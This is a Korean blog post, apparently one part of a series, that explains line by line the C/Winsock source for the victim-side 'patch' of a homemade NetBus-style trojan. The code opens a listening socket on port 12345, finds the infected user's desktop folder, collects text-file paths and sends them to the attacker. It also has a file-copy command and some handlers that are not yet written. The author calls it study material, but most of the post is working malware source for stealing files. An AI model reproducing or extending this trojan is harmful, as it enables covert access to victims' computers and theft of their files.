안녕하십니까 이번 포스팅에서는 감염자의 PC에서 쓰이는 패치의 코드를 한 번 살펴보겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

  #include "resource.h"

  #pragma comment(lib, "Ws2_32.lib")

  #define WM_SOCKET WM_USER+1

  typedef struct SR_Str

 {

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];


  }SR_String;

이 부분은 공격자(넷버스)의 코드랑 동일하므로 생략하겠습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

윈도우 프로시저함수를 선언합니다.

- int _strcmp(char *str1);

  void txtfileSend(void);

  void txtfileCopy(void);

앞서 설명한 함수들을 선언합니다.

- SOCKET G_Socket,G_AcceptS;

클라이언트(공격자) 코드하고는 다르게 소켓 변수를 2개 선언합니다. 이유는 서버측(피해자)에서는 연결 요청을 받는 소켓과 연결을 할 소켓, 이렇게 2개의 소켓이 필요하기 때문입니다.

- SR_String G_String;

앞에서 정의한 구조체 변수를 선언합니다.

- int G_txtfileSend_i = 0;

  TCHAR G_PATH[500] = L"";

파일들의 경로를 찾을 때 그 경로를 저장할 TCHR형 전역변수와 파일 경로의 개수를 저장할 int형 전역변수를 선언합니다.

WinMain함수는 간단하니 생략하겠습니다. 바로 윈도우 프로시저 함수를 살펴봅시다.

- WSADATA socketdata = {0};

  struct sockaddr_in socketaddr = {0};

소켓통신에 필요한 변수들을 선언합니다. 이 부분은 넷버스랑 동일하니 설명은 생략하겠습니다.

- u_long Mode = 0;

ioctlsocket함수를 사용하기 위해 선언한 변수입니다.

- int soketsize,Recvstr;

accept함수 사용을 위한 soketsize변수와 recv함수로 받은 데이터 크기를 저장할 변수 Recvstr를 선언합니다.

- TCHAR user[256] = L"";

  DWORD usersize;

GetUserName함수를 사용하기 위해 선언한 변수입니다..

- switch (message)

case WM_CREATE:

WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- GetUserName(user,&usersize);

GetUserName함수를 호출하여 현재 감염자의 사용자 계정 명을 구해서 user에 저장시킵니다.

- wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

사용자 명을 이용하여 G_PATH변수에 바탕화면의 경로를 집어넣습니다.

- WSAStartup(MAKEWORD(2,2),&socketdata);

  G_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

winsock DLL을 초기화시키고 소켓을 생성합니다.

- socketaddr.sin_family = AF_INET;

  socketaddr.sin_addr.S_un.S_addr = htons(INADDR_ANY);

  socketaddr.sin_port = htons(12345);

socketaddr구조체의 각 멤버에 값을 넣습니다. 다만 이 소켓은 요청을 하는 소켓이 아닌 요청을 받는 소켓이기 때문에 S_addr멤버의 값에 htons(INADDR_ANY)값을 넣어줍니다. INADDR_ANY는 자기 자신의 ip주소를 자동으로 찾아주는 매크로 상수를 의미합니다.

추가로 INADDR_ANY 상수를 멤버값에 집어넣은 뒤 bind함수를 사용하면 각각 다른 ip에서 전송한 데이터를 이 소켓에서 받을 수가 있습니다.

- bind(G_Socket,(struct sockaddr *)&socketaddr,sizeof(socketaddr));

bind함수를 사용하여 G_Socket을 바인딩합니다. 즉 socketaddr구조체의 멤버변수 값을 이용하여 소켓에 주소와 포트번호를 등록한다는 것이지요. 공격자의 소켓하고는 다르게 이 프로그램은 요청을 받는 소켓을 만들어야 하기 때문에 bind함수를 써서 등록시키는 것입니다. 인자는 공격자(넷버스) 코드에 쓰인 Connect함수와 동일합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_ACCEPT);

WM_SOCKET메세지를 받아 FD_ACCEPT이벤트를 처리할 수 있도록 하기 위해WSAAsyncSelect함수를 호출합니다.

- listen(G_Socket,SOMAXCONN);

listen함수를 호출합니다. 이 함수를 자세히 살펴봅시다.

이 함수는 해당 소켓의 상태를 수신 상태로 만들어주는 역할을 합니다. 첫 번째 인자는 해당 소켓이며 두번 째 인자는 대기 큐의 크기값입니다.

대기큐라는 것은 여러 소켓으로부터 연결요청이 들어왔을 경우 순서대로 처리가 될대까지 서버가 만들어 놓은 대기실에서 대기를 하게 되는데 이 때 이 대기실을 대기 큐라고 합니다. 그리고 그 대기큐는 크기를 설정할 수 있는데 이 때 인자로 SOMAXCONN값을 받으면 대기큐는 지정할 수 있는 최대 크기로 만들어집니다.

아무튼 이 함수가 성공적으로 호출이 되면 해당 소켓은 듣기 상태인 LISTEN상태가 되어집니다.

- accept(G_Socket,NULL,NULL);

듣기 상태가 된 소켓을 인자로 받아 요청을 받는 함수인 accept함수를 호출합니다.앞에 호출한 WSAAsyncSelect함수에 의해 비블로킹 방식으로 지정된 소켓으로 accept함수를 호출하였으므로 나중에 연결요청을 받으면 WM_SOCKET메세지의FD_ACCEPT이벤트에서 처리를 하게 됩니다.

한가지 특이한 점이 있다면 첫번째 소켓을 제외한 나머지 인자값들은 NULL로 주었다는 점입니다. 왜냐하면 이 부분의 accept함수에서는 실제로 연결할 목적이 아닌 요청만을 받아들기 위해 사용하였기 때문에 따로 인자값을 주지 않았습니다. 그리고 나중에 실제로 요청이 들어왔을 경우 FD_ACCEPT이벤트에서 다시 accept함수를 호출하여 실제로 요청된 소켓과 연결합니다.

- case WM_SOCKET:

switch(WSAGETSELECTEVENT(lParam))

WM_SOCKET메세지를 받았을 때 이벤트에 따라 처리를 다르게 합니다.

- case FD_ACCEPT:

앞의 accept함수에 의해 요청을 받게 된 경우 아래의 코드를 수행합니다.

- soketsize = sizeof(socketaddr);

socketaddr구조체의 크기를 soketsize에 저장시킵니다.

- G_AcceptS = accept((SOCKET)wParam,(struct sockaddr *)&socketaddr,&soketsize);

요청이 들어온 소켓(wParam)과의 연결을 위해 다시 accept함수를 호출합니다. 인자는 소켓구조체의 포인터와 소켓구조체 크기의 포인터입니다.

함수가 성공적으로 호출되면 연결된 소켓은 G_AcceptS 소켓이 됩니다. 즉 앞의 G_Socket은 요청을 받기 위한 1차 소켓(LISTEN)이며 G_AcceptS 소켓은 실제로 연결된 소켓을 의미합니다. 그러므로 공격자와 서로 통신을 할 경우 G_AcceptS 소켓을 이용합니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

연결이 된 G_AcceptS소켓이 FD_READ와 FD_CLOSE 이벤트를 받을 수 있도록 설정합니다.

- case FD_READ:

WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,0);

ioctlsocket(G_AcceptS,FIONBIO,&Mode);

memset(&G_String,0,sizeof(G_String));

Recvstr = recv(G_AcceptS,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

if(Recvstr < 0)

break;

클라이언트(공격자)로부터 데이터를 받았을 경우 위와 같이 코드를 수행합니다. 원리는 넷버스에서 설명한 것과 동일합니다.

- switch(_strcmp(G_String.str))

요청한 내용에 따라 처리를 다르게 해줍니다.

- case 0:

str멤버 변수의 값이 filefind - txt 일 경우 아래의 코드를 수행합니다.

- txtfileSend();

  strcpy(G_String.str,"filefind - txt");

  send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

txtfileSend함수를 호출하여 텍스트 파일들의 경로를 찾아 G_String의 멤버 변수에 저장시키고 str멤버변수에 filefind - txt값을 넣어 클라이언트(공격자)로 데이터를 전송합니다.

- GetUserName(user,&usersize);

  wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

  G_txtfileSend_i = 0;

전송이 완료되면 G_PATH와 G_txtfileSend_i를 초기값으로 되돌립니다.

- case 1:

str멤버 변수의 값이 Capture 일 경우의 처리부문인데 아직 구현하진 않았습니다.

- case 2:

txtfileCopy();

str멤버 변수의 값이 filecopy - txt인 경우 txtfileCopy함수를 호출합니다.

- case 3:

str멤버 변수의 값이 filecopy - mallocComplete인 경우의 처리 부문인데 아직 구현하진 않았습니다.

- case 999:

그 외의 값이라면 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

하나의 메세지처리가 끝나면 다시 G_AcceptS를 비블로킹으로 전환시킵니다.

이상으로 patch 코드 포스팅을 마치겠습니다.

다음 포스팅에선 만든 넷버스와 patch프로그램을 한 번 사용해보겠습니다.

Posted by englishmath